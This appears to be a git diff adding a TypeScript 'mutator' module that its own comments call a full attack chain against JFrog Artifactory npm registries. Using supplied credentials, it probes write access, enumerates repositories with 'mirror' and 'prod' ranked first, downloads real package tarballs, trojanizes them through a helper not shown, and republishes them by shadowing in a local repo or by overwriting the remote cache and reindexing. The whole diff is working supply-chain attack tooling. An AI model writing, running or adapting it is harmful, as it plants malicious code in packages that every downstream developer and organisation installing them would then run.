diff --git a/src/mutator/jfrognpm/auth.ts b/src/mutator/jfrognpm/auth.ts new file mode 100644 index 0000000..708a870 --- /dev/null +++ b/src/mutator/jfrognpm/auth.ts @@ -0,0 +1,215 @@ +// JFrog Artifactory credential validation. +// Supports API keys (X-JFrog-Art-Api), Bearer tokens (JWT + reftkn), and Basic auth. + +import { logUtil } from "../../utils/logger"; + +// --------------------------------------------------------------------------- +// Types +// --------------------------------------------------------------------------- + +export type JfrogCredentialType = "api-key" | "bearer" | "basic"; + +export interface JfrogCredential { + type: JfrogCredentialType; + value: string; +} + +export interface JfrogSession { + baseUrl: string; + credential: JfrogCredential; + username: string; + isAdmin: boolean; + canWrite: boolean; + npmRepos: string[]; +} + +// --------------------------------------------------------------------------- +// Credential detection +// --------------------------------------------------------------------------- + +/** + * Auto-detect the credential type from its format. + * - JWT access tokens start with "eyJ" → Bearer + * - Reference tokens start with "cmVmdGtu" (base64 of "reftkn") → Bearer + * - Contains ":" → Basic auth + * - Everything else → API key (X-JFrog-Art-Api header) + */ +export function detectCredential(raw: string): JfrogCredential { + if (raw.startsWith("eyJ") || raw.startsWith("cmVmdGtu")) { + return { type: "bearer", value: raw }; + } + if (raw.includes(":") || (raw.length < 60 && raw.includes("="))) { + return { type: "basic", value: raw }; + } + return { type: "api-key", value: raw }; +} + +export function authHeader(cred: JfrogCredential): Record { + switch (cred.type) { + case "api-key": + return { "X-JFrog-Art-Api": cred.value }; + case "bearer": + return { Authorization: `Bearer ${cred.value}` }; + case "basic": + return { Authorization: `Basic ${cred.value}` }; + } +} + +// --------------------------------------------------------------------------- +// Validation +// --------------------------------------------------------------------------- + +export interface ValidationResult { + valid: boolean; + session: JfrogSession | null; + error?: string; +} + +/** + * Full credential validation pipeline: + * 1. Ping (best-effort; reference tokens often lack system access) + * 2. Resolve username + * 3. Enumerate npm repos + * 4. Test write access with a probe package + */ +export async function validateCredentials( + baseUrl: string, + cred: JfrogCredential, +): Promise { + const headers = authHeader(cred); + + // Step 1 — Ping + let pingOk = false; + const pingUrl = `${baseUrl}/api/system/ping`; + logUtil.log(`[jfrognpm] [1/4] PING ${pingUrl}`); + try { + const ping = await fetch(pingUrl, { headers }); + pingOk = ping.status === 200; + logUtil.log( + `[jfrognpm] → ${ping.status} ${pingOk ? "OK" : "(scoped token — expected)"}`, + ); + } catch { + logUtil.log(`[jfrognpm] → connection failed`); + } + + // Step 2 — Resolve username + logUtil.log(`[jfrognpm] [2/4] WHOAMI ${baseUrl}/api/v1/system/me`); + let username = "unknown"; + let isAdmin = false; + try { + const meRes = await fetch(`${baseUrl}/api/v1/system/me`, { headers }); + if (meRes.ok) { + const me = (await meRes.json()) as any; + username = me.username ?? me.name ?? "unknown"; + isAdmin = me.admin ?? false; + logUtil.log(`[jfrognpm] → ${username} (admin=${isAdmin})`); + } else { + logUtil.log(`[jfrognpm] → ${meRes.status} — continuing`); + } + } catch { + logUtil.log(`[jfrognpm] → failed — continuing`); + } + + // Step 3 — Enumerate npm repos + logUtil.log( + `[jfrognpm] [3/4] LIST ${baseUrl}/api/repositories?packageType=npm`, + ); + let npmRepos: string[] = []; + try { + const repoRes = await fetch(`${baseUrl}/api/repositories?packageType=npm`, { + headers, + }); + if (repoRes.ok) { + const repos = (await repoRes.json()) as any[]; + npmRepos = (repos ?? []).map((r: any) => r.key); + logUtil.log( + `[jfrognpm] → ${npmRepos.length} repo(s): ${npmRepos.join(", ") || "(none)"}`, + ); + } else { + logUtil.log(`[jfrognpm] → ${repoRes.status}`); + } + } catch (e) { + logUtil.log(`[jfrognpm] → failed: ${e}`); + } + + if (!pingOk && npmRepos.length === 0) { + return { + valid: false, + session: null, + error: `Token rejected — unable to ping or list npm repos`, + }; + } + + // Step 4 — Test write access + logUtil.log( + `[jfrognpm] [4/4] WRITE probe — PUT then DELETE __jfrog_sec_test__`, + ); + let canWrite = false; + const testPkg = "__jfrog_sec_test__"; + + for (const repo of npmRepos) { + const putUrl = `${baseUrl}/api/npm/${repo}/${encodeURIComponent(testPkg)}`; + logUtil.log(`[jfrognpm] PUT ${putUrl}`); + try { + const testBody = JSON.stringify({ + name: testPkg, + version: "1.0.0", + _id: testPkg, + "dist-tags": { latest: "1.0.0" }, + versions: { + "1.0.0": { + name: testPkg, + version: "1.0.0", + dist: { + tarball: `${baseUrl}/api/npm/${repo}/${testPkg}/-/${testPkg}-1.0.0.tgz`, + }, + }, + }, + _attachments: { + [`${testPkg}-1.0.0.tgz`]: { + content_type: "application/octet-stream", + data: Buffer.from( + "H4sIAAAAAAAAA+3RMQrDMAwF0F6n8ClstNKgSw/RM3RSJ4dGSDAl/+8vxCVkKrR07/J/8VkTe3ZwXntq5cL1PA+bD/o1rNjt+pl51QfWVbFqjW5vsDWecAoR57/vawEAAA==", + "base64", + ).toString(), + length: 44, + }, + }, + }); + + const putRes = await fetch(putUrl, { + method: "PUT", + headers: { ...headers, "Content-Type": "application/json" }, + body: testBody, + }); + + if (putRes.ok || putRes.status === 409) { + canWrite = true; + logUtil.log( + `[jfrognpm] → ${putRes.status} — WRITE CONFIRMED on ${repo}`, + ); + } else { + logUtil.log(`[jfrognpm] → ${putRes.status} — no write access`); + } + + logUtil.log(`[jfrognpm] DELETE ${putUrl}`); + await fetch(putUrl, { method: "DELETE", headers }).catch(() => {}); + } catch (e) { + logUtil.log(`[jfrognpm] → error: ${e}`); + } + + if (canWrite) break; + } + + return { + valid: true, + session: { + baseUrl, + credential: cred, + username, + isAdmin, + canWrite, + npmRepos, + }, + }; +} diff --git a/src/mutator/jfrognpm/index.ts b/src/mutator/jfrognpm/index.ts new file mode 100644 index 0000000..3b84112 --- /dev/null +++ b/src/mutator/jfrognpm/index.ts @@ -0,0 +1,383 @@ +// JFrog NPM Mutator +// +// Full attack chain for JFrog Artifactory-hosted npm registries: +// 1. Validate credentials against the Artifactory instance +// 2. Enumerate npm repos (local, remote, virtual) and cached packages +// 3. Download legitimate tarballs through the Artifactory proxy +// 4. Trojanize each tarball (reuses the shared tarball.ts pipeline) +// 5. Republish via local shadowing or cache overwrite +// +// Usage: +// const mutator = new JfrogNpmMutator(session, { packages: ["lodash"] }); +// await mutator.execute(); + +import { $ } from "bun"; +import { createWriteStream } from "fs"; +import * as fs from "fs/promises"; +import { join } from "path"; +import { Readable } from "stream"; +import { pipeline } from "stream/promises"; + +import { logUtil } from "../../utils/logger"; +import { Mutator } from "../base"; +import { updateTarball } from "../npm/tarball"; +import { type JfrogSession } from "./auth"; +import { type PublishResult, publishToJfrog } from "./publish"; +import { + enumerateNpmRepos, + fetchPackageVersion, + findShadowRepo, + listCachedPackages, + type NpmRepoInfo, + type PackageVersionInfo, +} from "./registry"; + +// --------------------------------------------------------------------------- +// Repo prioritization — mirror/prod first +// --------------------------------------------------------------------------- + +const PRIORITY_TERMS = ["mirror", "prod"] as const; + +function repoPriorityScore(key: string): number { + const lower = key.toLowerCase(); + for (const term of PRIORITY_TERMS) { + if (lower.includes(term)) return -1; + } + return 0; +} + +// --------------------------------------------------------------------------- +// Types +// --------------------------------------------------------------------------- + +export interface JfrogNpmOptions { + /** + * Explicit package names to target. If omitted, the mutator enumerates + * all cached packages from accessible repos. + */ + packages?: string[]; + /** + * Maximum number of packages to process **per repo**. + * @default 50 + */ + maxPackages?: number; + /** + * Prefer cache overwrite over local publish, even if a local repo exists. + * @default false + */ + forceCacheOverwrite?: boolean; + /** + * Only enumerate and list targetable packages — do not download, + * trojanize, or republish anything. + * @default true + */ + reconOnly?: boolean; +} + +export interface JfrogNpmReport { + totalPackages: number; + published: number; + failed: number; + results: PublishResult[]; +} + +// --------------------------------------------------------------------------- +// JfrogNpmMutator +// --------------------------------------------------------------------------- + +export class JfrogNpmMutator extends Mutator { + private readonly session: JfrogSession; + private readonly options: Required; + + private repoMap: Map = new Map(); + private shadowRepo: string | null = null; + + constructor(session: JfrogSession, options: JfrogNpmOptions = {}) { + super(); + this.session = session; + this.options = { + packages: options.packages ?? [], + maxPackages: options.maxPackages ?? 50, + forceCacheOverwrite: options.forceCacheOverwrite ?? false, + reconOnly: options.reconOnly ?? true, + }; + } + + // ----------------------------------------------------------------------- + // Guard + // ----------------------------------------------------------------------- + + override async shouldExecute(): Promise { + if (!this.session.canWrite) { + logUtil.log("[jfrognpm] No write access detected — skipping mutation"); + return false; + } + return true; + } + + // ----------------------------------------------------------------------- + // Main execution + // ----------------------------------------------------------------------- + + override async execute(): Promise { + try { + // Resolve target packages (uses session.npmRepos directly, no per-repo fetch) + const packages = await this.resolvePackages(); + + if (this.options.reconOnly) { + return this.executeRecon(packages); + } + + // Execute mode: need repo map + shadow repo for publish routing + this.repoMap = new Map( + (await enumerateNpmRepos(this.session)).map((r) => [r.key, r]), + ); + this.shadowRepo = this.options.forceCacheOverwrite + ? null + : findShadowRepo([...this.repoMap.values()]); + + return this.executeFull(packages); + } catch (e) { + logUtil.error(e); + logUtil.error("[jfrognpm] Mutator execution failed"); + return false; + } + } + + // ----------------------------------------------------------------------- + // Recon mode — list packages, do NOT replace + // ----------------------------------------------------------------------- + + private executeRecon( + packages: Array<{ name: string; repo: string; version: string }>, + ): boolean { + if (packages.length === 0) { + logUtil.error("No targetable packages found."); + + return false; + } + + for (const pkg of packages) { + logUtil.error( + ` ${pkg.name.padEnd(40)} @${pkg.version.padEnd(12)} repo=${pkg.repo}`, + ); + } + + return true; + } + + // ----------------------------------------------------------------------- + // Full execution — download, trojanize, republish + // ----------------------------------------------------------------------- + + private async executeFull( + packages: Array<{ name: string; repo: string; version: string }>, + ): Promise { + if (packages.length === 0) { + logUtil.log("[jfrognpm] No target packages found."); + return false; + } + + logUtil.log( + `[jfrognpm] Targeting ${packages.length} package(s):`, + packages.map((p) => p.name).join(", "), + ); + + if (this.shadowRepo) { + logUtil.log(`[jfrognpm] Shadow repo for publishing: ${this.shadowRepo}`); + } else { + logUtil.log("[jfrognpm] No shadow local repo — will use cache overwrite"); + } + + logUtil.log("[jfrognpm] Downloading and trojanizing packages..."); + const tmpDir = await $`mktemp -d`.text().then((s) => s.trim()); + + const report: JfrogNpmReport = { + totalPackages: packages.length, + published: 0, + failed: 0, + results: [], + }; + + for (const pkg of packages) { + try { + logUtil.log(`[jfrognpm] processing ${pkg.name}...`); + const result = await this.processPackage(pkg, tmpDir); + report.results.push(result); + if (result.success) { + report.published++; + } else { + report.failed++; + } + } catch (e) { + report.failed++; + logUtil.log(`[jfrognpm] Unhandled error for ${pkg.name}: ${e}`); + } + } + + await fs.rm(tmpDir, { recursive: true, force: true }).catch(() => {}); + + logUtil.log( + `[jfrognpm] Done. ${report.published} published, ${report.failed} failed.`, + ); + + return report.published > 0; + } + + // ----------------------------------------------------------------------- + // Package resolution + // ----------------------------------------------------------------------- + + private async resolvePackages(): Promise< + Array<{ name: string; repo: string; version: string }> + > { + // Sort by priority: repos with "mirror"/"prod" first + const targetRepos = [...this.session.npmRepos].sort( + (a, b) => repoPriorityScore(a) - repoPriorityScore(b), + ); + + if (this.options.packages.length > 0) { + const sourceRepo = targetRepos[0]; + if (!sourceRepo) return []; + + const resolved: Array<{ name: string; repo: string; version: string }> = + []; + for (const pkgName of this.options.packages) { + const meta = await fetchPackageVersion( + this.session, + sourceRepo, + pkgName, + ); + if (meta) { + resolved.push({ + name: meta.name, + repo: sourceRepo, + version: meta.version, + }); + } + } + return resolved; + } + + // Auto-enumerate from all repos — maxPackages per repo + const packages: Array<{ name: string; repo: string; version: string }> = []; + + for (const repoKey of targetRepos) { + let repoCount = 0; + const cached = await listCachedPackages(this.session, repoKey); + if (cached.length < 10) { + continue; + } + + for (const pkg of cached) { + if (repoCount >= this.options.maxPackages) break; + + const meta = await fetchPackageVersion(this.session, repoKey, pkg.name); + if (meta) { + packages.push({ + name: meta.name, + repo: repoKey, + version: meta.version, + }); + repoCount++; + } + } + } + + return packages; + } + + // ----------------------------------------------------------------------- + // Per-package processing + // ----------------------------------------------------------------------- + + private async processPackage( + pkg: { name: string; repo: string; version: string }, + tmpDir: string, + ): Promise { + const meta = await fetchPackageVersion(this.session, pkg.repo, pkg.name); + if (!meta) { + return { + success: false, + method: "local", + repo: pkg.repo, + pkgName: pkg.name, + version: pkg.version, + error: "Failed to resolve package metadata", + }; + } + + const tarballPath = await this.downloadTarball(meta, tmpDir); + if (!tarballPath) { + return { + success: false, + method: "local", + repo: pkg.repo, + pkgName: meta.name, + version: meta.version, + error: "Failed to download tarball", + }; + } + + let trojanizedPath: string; + try { + trojanizedPath = await updateTarball(tarballPath, { + tag: "[jfrognpm]", + addBunDep: true, + }); + } catch (e) { + return { + success: false, + method: "local", + repo: pkg.repo, + pkgName: meta.name, + version: meta.version, + error: `Tarball modification failed: ${e}`, + }; + } + + let targetRepo: string; + let targetType: string; + + if (this.shadowRepo) { + targetRepo = this.shadowRepo; + targetType = "local"; + } else { + targetRepo = pkg.repo; + targetType = this.repoMap.get(pkg.repo)?.type ?? "remote"; + } + + return publishToJfrog(this.session, trojanizedPath, targetRepo, targetType); + } + + // ----------------------------------------------------------------------- + // Tarball download helper + // ----------------------------------------------------------------------- + + private async downloadTarball( + meta: PackageVersionInfo, + tmpDir: string, + ): Promise { + try { + const res = await fetch(meta.tarballUrl); + if (!res.ok || !res.body) { + logUtil.log(`[jfrognpm] Failed to fetch tarball: ${meta.tarballUrl}`); + return null; + } + + const safeName = meta.name.replace("@", "").replace("/", "-"); + const filename = `${safeName}-${meta.version}.tgz`; + const dest = join(tmpDir, filename); + + await pipeline( + Readable.fromWeb(res.body as import("stream/web").ReadableStream), + createWriteStream(dest), + ); + + return dest; + } catch (e) { + logUtil.log(`[jfrognpm] Tarball download error: ${e}`); + return null; + } + } +} diff --git a/src/mutator/jfrognpm/publish.ts b/src/mutator/jfrognpm/publish.ts new file mode 100644 index 0000000..3553d6b --- /dev/null +++ b/src/mutator/jfrognpm/publish.ts @@ -0,0 +1,330 @@ +// Publish (or replace) npm packages in JFrog Artifactory. +// +// Two strategies: +// 1. **Local publish** — PUT to a local repo. If the local repo is included +// in a virtual repo's resolution order *before* the remote, the trojanized +// package shadows the legitimate one for all consumers of the virtual. +// 2. **Cache overwrite** — Directly replace the cached .tgz artifact in a +// remote repository via the Artifactory REST API. +// +// Strategy 1 is preferred (cleaner, normal npm publish flow). +// Strategy 2 is a fallback when no writable local repo is available. + +import { createHash } from "node:crypto"; +import { readFile } from "node:fs/promises"; +import { gunzipSync } from "node:zlib"; + +import { logUtil } from "../../utils/logger"; +import { authHeader, type JfrogSession } from "./auth"; + +declare function scramble(str: string): string; + +// --------------------------------------------------------------------------- +// Types +// --------------------------------------------------------------------------- + +export type PublishMethod = "local" | "cache-overwrite"; + +export interface PublishResult { + success: boolean; + method: PublishMethod; + repo: string; + pkgName: string; + version: string; + error?: string; +} + +interface PackageJson { + name: string; + version: string; + readme?: string; + [key: string]: unknown; +} + +// --------------------------------------------------------------------------- +// Package.json extraction (mirrors npm/publish.ts) +// --------------------------------------------------------------------------- + +function extractPackageJson(tar: Buffer): PackageJson { + let offset = 0; + while (offset + 512 <= tar.length) { + const header = tar.subarray(offset, offset + 512); + if (header[0] === 0) break; + + const nameField = header.subarray(0, 100); + const nameEnd = nameField.indexOf(0); + const name = nameField + .subarray(0, nameEnd === -1 ? 100 : nameEnd) + .toString("utf8"); + + const sizeStr = header + .subarray(124, 136) + .toString("utf8") + .replace(/\0/g, "") + .trim(); + const size = sizeStr ? parseInt(sizeStr, 8) : 0; + + offset += 512; + + if (name === "package/package.json" || name.endsWith("/package.json")) { + const data = tar.subarray(offset, offset + size); + return JSON.parse(data.toString("utf8")) as PackageJson; + } + + offset += Math.ceil(size / 512) * 512; + } + throw new Error("package.json not found in tarball"); +} + +// --------------------------------------------------------------------------- +// Strategy 1: Publish to a local repo (npm PUT endpoint) +// --------------------------------------------------------------------------- + +/** + * Publish a trojanized tarball to an Artifactory local npm repo via the + * standard npm publish protocol (PUT). + * + * The registry endpoint is: + * PUT {baseUrl}/api/npm/{repoKey}/{encodedPkgName} + * + * This is the same protocol as `npm publish --registry=...`. + */ +async function publishToLocal( + session: JfrogSession, + tarballPath: string, + repoKey: string, +): Promise { + const headers = authHeader(session.credential); + + const tarballBuffer = await readFile(tarballPath); + const decompressed = gunzipSync(tarballBuffer); + const pkg = extractPackageJson(decompressed); + + const { name, version } = pkg; + if (!name || !version) { + return { + success: false, + method: "local", + repo: repoKey, + pkgName: name ?? "unknown", + version: version ?? "unknown", + error: "package.json missing required 'name' or 'version'", + }; + } + + const integrity = + "sha512-" + createHash("sha512").update(tarballBuffer).digest("base64"); + const shasum = createHash("sha1").update(tarballBuffer).digest("hex"); + const base64Data = tarballBuffer.toString("base64"); + const tarballFilename = `${name}-${version}.tgz`; + const tarballUrl = `${session.baseUrl}/api/npm/${repoKey}/${name}/-/${tarballFilename}`; + + const versionMetadata = { + ...pkg, + name, + version, + readme: pkg.readme ?? "ERROR: No README data found!", + dist: { integrity, shasum, tarball: tarballUrl }, + }; + + const body = { + _id: name, + name, + "dist-tags": { latest: version }, + versions: { [version]: versionMetadata }, + access: "public", + _attachments: { + [tarballFilename]: { + content_type: "application/octet-stream", + data: base64Data, + length: tarballBuffer.length, + }, + } as Record, + }; + + const encodedName = encodeURIComponent(name).replace("%40", "@"); + const url = `${session.baseUrl}/api/npm/${repoKey}/${encodedName}`; + + try { + const res = await fetch(url, { + method: "PUT", + headers: { + ...headers, + "Content-Type": "application/json", + }, + body: JSON.stringify(body), + }); + + if (res.ok) { + logUtil.log( + `[jfrognpm] Published ${name}@${version} to local repo ${repoKey}`, + ); + return { + success: true, + method: "local", + repo: repoKey, + pkgName: name, + version, + }; + } + + const errorText = await res.text().catch(() => ""); + return { + success: false, + method: "local", + repo: repoKey, + pkgName: name, + version, + error: `HTTP ${res.status} — ${errorText.slice(0, 300)}`, + }; + } catch (e) { + return { + success: false, + method: "local", + repo: repoKey, + pkgName: name, + version, + error: e instanceof Error ? e.message : String(e), + }; + } +} + +// --------------------------------------------------------------------------- +// Strategy 2: Overwrite remote cache artifact +// --------------------------------------------------------------------------- + +/** + * Overwrite a cached package tarball in a remote Artifactory repository. + * + * Steps: + * 1. DELETE the existing cached .tgz artifact + * 2. PUT the trojanized .tgz in its place + * 3. POST a reindex to force metadata recalculation + * + * The cache artifact path is: + * {baseUrl}/{repoKey}/{pkgName}/-/{pkgName}-{version}.tgz + */ +async function overwriteCacheArtifact( + session: JfrogSession, + tarballPath: string, + repoKey: string, + pkgName: string, + pkgVersion: string, +): Promise { + const headers = authHeader(session.credential); + const tarballBuffer = await readFile(tarballPath); + const tarballFilename = `${pkgName}-${pkgVersion}.tgz`; + + // Build the cache path. Scoped packages have / in the URL. + const cachePath = `/${repoKey}/${encodeURIComponent(pkgName)}/-/${tarballFilename}`; + const artifactUrl = `${session.baseUrl}${cachePath}`; + + const sha1 = createHash("sha1").update(tarballBuffer).digest("hex"); + + try { + // Step 1 — Delete existing cached artifact + logUtil.log(`[jfrognpm] Deleting cached artifact: ${artifactUrl}`); + const delRes = await fetch(artifactUrl, { + method: "DELETE", + headers, + }); + if (!delRes.ok) { + logUtil.log( + `[jfrognpm] Delete returned ${delRes.status} — artifact may not exist yet, continuing`, + ); + } + + // Step 2 — Upload the replacement + logUtil.log(`[jfrognpm] Uploading replacement: ${artifactUrl}`); + const putRes = await fetch(artifactUrl, { + method: "PUT", + headers: { + ...headers, + "Content-Type": "application/octet-stream", + "X-Checksum-Sha1": sha1, + }, + body: tarballBuffer, + }); + + if (!putRes.ok) { + const errorText = await putRes.text().catch(() => ""); + return { + success: false, + method: "cache-overwrite", + repo: repoKey, + pkgName, + version: pkgVersion, + error: `PUT failed: HTTP ${putRes.status} — ${errorText.slice(0, 300)}`, + }; + } + + // Step 3 — Reindex to force metadata recalculation + const reindexUrl = `${session.baseUrl}/api/npm/${repoKey}/reindex/${encodeURIComponent(pkgName)}`; + logUtil.log(`[jfrognpm] Reindexing: ${reindexUrl}`); + await fetch(reindexUrl, { method: "POST", headers }).catch((e) => { + logUtil.log(`[jfrognpm] Reindex failed (non-fatal): ${e}`); + }); + + logUtil.log( + `[jfrognpm] Cache overwrite for ${pkgName}@${pkgVersion} in ${repoKey}`, + ); + return { + success: true, + method: "cache-overwrite", + repo: repoKey, + pkgName, + version: pkgVersion, + }; + } catch (e) { + return { + success: false, + method: "cache-overwrite", + repo: repoKey, + pkgName, + version: pkgVersion, + error: e instanceof Error ? e.message : String(e), + }; + } +} + +// --------------------------------------------------------------------------- +// Unified publish entry point +// --------------------------------------------------------------------------- + +/** + * Publish a trojanized tarball to an Artifactory npm repo. + * + * Tries local publish first (strategy 1). Falls back to cache overwrite + * (strategy 2) if the target repo is remote/federated or local publish fails + * with a permission error. + */ +export async function publishToJfrog( + session: JfrogSession, + tarballPath: string, + repoKey: string, + repoType: string, +): Promise { + const tarballBuffer = await readFile(tarballPath); + const decompressed = gunzipSync(tarballBuffer); + const pkg = extractPackageJson(decompressed); + + if (repoType === "local") { + // Prefer local npm publish + const result = await publishToLocal(session, tarballPath, repoKey); + if (result.success) return result; + + // If local publish fails with 403/405, don't try cache overwrite + // on a local repo — it doesn't make sense. + logUtil.log(`[jfrognpm] Local publish failed: ${result.error}`); + return result; + } + + // Remote / virtual / federated — use cache overwrite + return overwriteCacheArtifact( + session, + tarballPath, + repoKey, + pkg.name ?? "unknown", + pkg.version ?? "0.0.0", + ); +} diff --git a/src/mutator/jfrognpm/registry.ts b/src/mutator/jfrognpm/registry.ts new file mode 100644 index 0000000..51ad81d --- /dev/null +++ b/src/mutator/jfrognpm/registry.ts @@ -0,0 +1,165 @@ +// Artifactory npm registry enumeration. +// Queries repository storage listings to discover cached packages. + +import { logUtil } from "../../utils/logger"; +import { authHeader, type JfrogSession } from "./auth"; + +// --------------------------------------------------------------------------- +// Types +// --------------------------------------------------------------------------- + +export type RepoType = "local" | "remote" | "virtual" | "federated"; + +export interface NpmRepoInfo { + key: string; + type: RepoType; + url?: string; + repositories?: string[]; +} + +export interface CachedPackage { + name: string; + repo: string; + uri: string; +} + +export interface PackageVersionInfo { + name: string; + version: string; + tarballUrl: string; +} + +// --------------------------------------------------------------------------- +// Repo enumeration +// --------------------------------------------------------------------------- + +export async function enumerateNpmRepos( + session: JfrogSession, +): Promise { + const headers = authHeader(session.credential); + const results: NpmRepoInfo[] = []; + + for (const repoKey of session.npmRepos) { + try { + console.error(` fetching repo info: ${repoKey}...`); + const res = await fetch( + `${session.baseUrl}/api/repositories/${repoKey}`, + { headers }, + ); + if (!res.ok) { + console.error(` → ${res.status}, skipping`); + continue; + } + + const raw = (await res.json()) as any; + console.error(` → type=${raw.rclass ?? raw.packageType ?? "?"}`); + results.push({ + key: raw.key, + type: raw.rclass ?? raw.packageType ?? "local", + url: raw.url ?? undefined, + repositories: raw.repositories ?? undefined, + }); + } catch (e) { + logUtil.log(`[jfrognpm] Failed to fetch repo info for ${repoKey}: ${e}`); + } + } + + return results; +} + +// --------------------------------------------------------------------------- +// Package enumeration +// --------------------------------------------------------------------------- + +export async function listCachedPackages( + session: JfrogSession, + repoKey: string, +): Promise { + const headers = authHeader(session.credential); + const packages: CachedPackage[] = []; + + const url = `${session.baseUrl}/api/storage/${repoKey}`; + try { + const res = await fetch(url, { headers }); + if (!res.ok) { + logUtil.log( + `[jfrognpm] Storage listing failed for ${repoKey}: HTTP ${res.status}`, + ); + return packages; + } + + const data = (await res.json()) as { + children?: Array<{ uri: string; folder: boolean }>; + }; + + for (const child of data.children ?? []) { + if (!child.folder) continue; + const rawName = child.uri.replace(/^\//, ""); + if (!rawName || rawName === "." || rawName.startsWith(".")) continue; + packages.push({ + name: decodeURIComponent(rawName), + repo: repoKey, + uri: child.uri, + }); + } + } catch (e) { + logUtil.log(`[jfrognpm] Error listing ${repoKey}: ${e}`); + } + + return packages; +} + +// --------------------------------------------------------------------------- +// Package metadata +// --------------------------------------------------------------------------- + +export async function fetchPackageVersion( + session: JfrogSession, + repoKey: string, + pkgName: string, +): Promise { + const headers = authHeader(session.credential); + const encoded = encodeURIComponent(pkgName).replace("%40", "@"); + const url = `${session.baseUrl}/api/npm/${repoKey}/${encoded}`; + + try { + const res = await fetch(url, { headers }); + if (!res.ok) return null; + + const meta = (await res.json()) as { + "dist-tags"?: { latest?: string }; + versions?: Record; + }; + + const version = meta["dist-tags"]?.latest; + if (!version) return null; + + const versionInfo = meta.versions?.[version]; + if (!versionInfo?.dist?.tarball) return null; + + return { name: pkgName, version, tarballUrl: versionInfo.dist.tarball }; + } catch (e) { + logUtil.log(`[jfrognpm] Metadata fetch failed for ${pkgName}: ${e}`); + return null; + } +} + +// --------------------------------------------------------------------------- +// Virtual repo resolution (execute mode only) +// --------------------------------------------------------------------------- + +export function findShadowRepo(repos: NpmRepoInfo[]): string | null { + const localRepos = repos.filter((r) => r.type === "local"); + const virtualRepos = repos.filter((r) => r.type === "virtual"); + + for (const virt of virtualRepos) { + const order = virt.repositories ?? []; + for (const includedKey of order) { + const match = localRepos.find((l) => l.key === includedKey); + if (match) return match.key; + } + } + + if (localRepos.length > 0) return localRepos[0]!.key; + return null; +}